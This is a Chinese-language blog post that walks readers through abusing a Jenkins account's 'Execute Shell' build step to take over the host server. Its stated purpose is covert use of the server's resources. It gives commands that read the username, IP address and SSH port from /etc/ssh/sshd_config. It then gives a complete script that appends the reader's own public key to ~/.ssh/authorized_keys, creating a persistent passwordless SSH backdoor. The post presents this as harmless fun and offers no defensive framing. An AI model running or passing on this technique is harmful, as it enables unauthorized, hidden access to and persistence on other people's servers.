两步完成Jenkins服务器破解

3,725 阅读4分钟

前言


为什么突然想到了破解Jenkins服务器呢,无非是自己想远程登录上去,操作一些不可告人的秘密(其实也就是利用这台服务器可用资源)至于如何破解的呢!简单到爆,接下来让老夫娓娓道来

关于Jenkins


说道Jenkins,这个工具应该大家早有耳闻,一个持续集成的工具,我们可以在上面集成各种杂七杂八的项目。至于介绍也就不多说了。

条件

  • 登录Jenkins账户账号密码

  • 了解简单的Shell命令

以上两点有了,就可以开始我们的破解大业了,接下来就是如何或者说从哪里入手破解这台服务器,然后通过我们的电脑登录到Jenkins服务器了。

Action One

  1. 掌握上述的条件,通过浏览器登录Jenkins,随意创建配置一个Jenkins项目,也可以基于现有的项目进行操作,首先随便点进一个项目如下图所示

  1. 这里演示的是一个配置好的项目,可以正常编译成功,我们这时候只需要点击左方的配置选项按钮到达下图

  1. 可以看到这里需要我们为这个项目配置一系列的操作,包括这个项目所需要的环境。其实所有的配置最终为了将编译的结果告知于众,上图的倒数第二个Tab,构建的操作,在这里我们可以增加构建步骤,我们可以点击这个Tab看看有哪些我们可以操作的,点开之后会发现有很多的功能,如图所示

  1. 其实最关键的还是执行Shell,这个就是我们破解服务器的突破口,点击这个选项,可以看到如下窗口图

  1. 其实接下来就很简单了,既然我们能拿到在服务器里面执行Shell脚本的入口,想搞什么不行啊。打开命令行一梭子代码就搞定。

如果完成了以上5步,那我们离成功只剩下一步之遥了。

Action Two

登录远程服务器无非是通过SSH,但是我们也不知道这个服务器的用户名,IP,端口号怎么办。其实我们在第一步的时候已经拿到了Shell窗口,IP和用户名简单的两行代码就可以搞定

whoami

ifconfig

/sbin/ifconfig eth0 | grep 'inet addr' | cut -d: -f2 | awk '{print $1}' #直接过滤出ip地址 ubuntu
ifconfig | grep "inet " | grep -v 127.0.0.1 | cut -d\  -f2 #直接过滤出ip地址 mac

都是非常简单的命令,就可以拿到服务器的用户名及IP地址了,那么如何拿到远程SSH登录端口号呢?

vim /etc/ssh/sshd_config

这个就是SSH的启动配置文件,可以在里面搜索Port就可以找到远程开放的端口号,如下图所示

想图省事也可以这样更简单,把port拿到

cat /etc/ssh/sshd_config |grep -i port

那么我们都知道了如何拿到这些信息了,那么接下来如何登录呢,这就用到了Action One的第五步里面的Shell窗口。

只需要把下面的语句添加到Shell窗口里面就好,等Jenkins编译好了,下面的服务器的信息你也就可以从控制台输出日志里面拿到了

ROOT_NAME_CMD=$(whoami)
IP_CMD=$(/sbin/ifconfig eth0 | grep 'inet addr' | cut -d: -f2 | awk '{print $1}')
PORT_CMD=$(cat /etc/ssh/sshd_config |grep -i port)
echo $ROOT_NAME_CMD
echo ==========================
echo $IP_CMD
echo ==========================
echo $PORT_CMD

如果说IP地址为空的话,换一种方式grep ,不同的系统平台,脚本可能不一致,不闲麻烦直接把全部的ifconfig打印出来。

现在已经知道了服务器的IP用户名及端口号,那么接下来我们是不是直接可以SSH登录了呢。Say No!我们到现在为止只是拿到了账号而已,还差密码呢。肯定是登录不了的,那么密码我们如何拿到呢。拿到密码可是不容易的,但是我们这一条路走的比较困难,那我们换一条路,简单粗暴型,免密登录,那么如何才能免密登录呢!SSH免密登录大家日常应该有用到过,不然每次输入密码太恶心了,SSH免密登录所需要的条件就是pubic key,只要我们把自己的public key 给了服务器,这时候我们就有了服务器的授权,那就可以执行免密登录

pubkey一般都在这里 ~/.ssh/id_ras.pub,没有的自己创建一下 terminal 下 cd 到这个目录 ~/.ssh/ 输入 ssh keygen 不停的回车就行了。

拿到了我们本机的pubKey 如何给让服务器给我们授权呢,简单的一步就搞定,把我们的ssh pub key 内容追加到服务器~./ssh/目录下的authorized_keys文件夹中即可

echo "pubkey内容" >> ~/.ssh/authorized_keys

至此我们破解服务器的脚本已经完成了

ROOT_NAME_CMD=$(whoami)
IP_CMD=$(/sbin/ifconfig eth0 | grep 'inet addr' | cut -d: -f2 | awk '{print $1}')
PORT_CMD=$(cat /etc/ssh/sshd_config |grep -i port)
echo $ROOT_NAME_CMD
echo ==========================
echo $IP_CMD
echo ==========================
echo $PORT_CMD

echo "pubkey内容" >> ~/.ssh/authorized_keys

把这些代码复制到shell Action one 第五步的窗口中即可,别忘了保存

这时候回到Jenkins项目主页,点击构建,然后查看编译日志,所有的信息都会打印出来,然后这时候打开我们的terminal 悄悄的输入 ssh username@IP -p port 唰的一下,我们就登录了Jenkins服务器了。

Ending

至此Jenkins服务器就被我们破解了,其实目标明确了,手段吗,就看大家的了,简单粗暴即可,这也就是一种投机取巧的方式。大家可以玩玩,娱乐一下。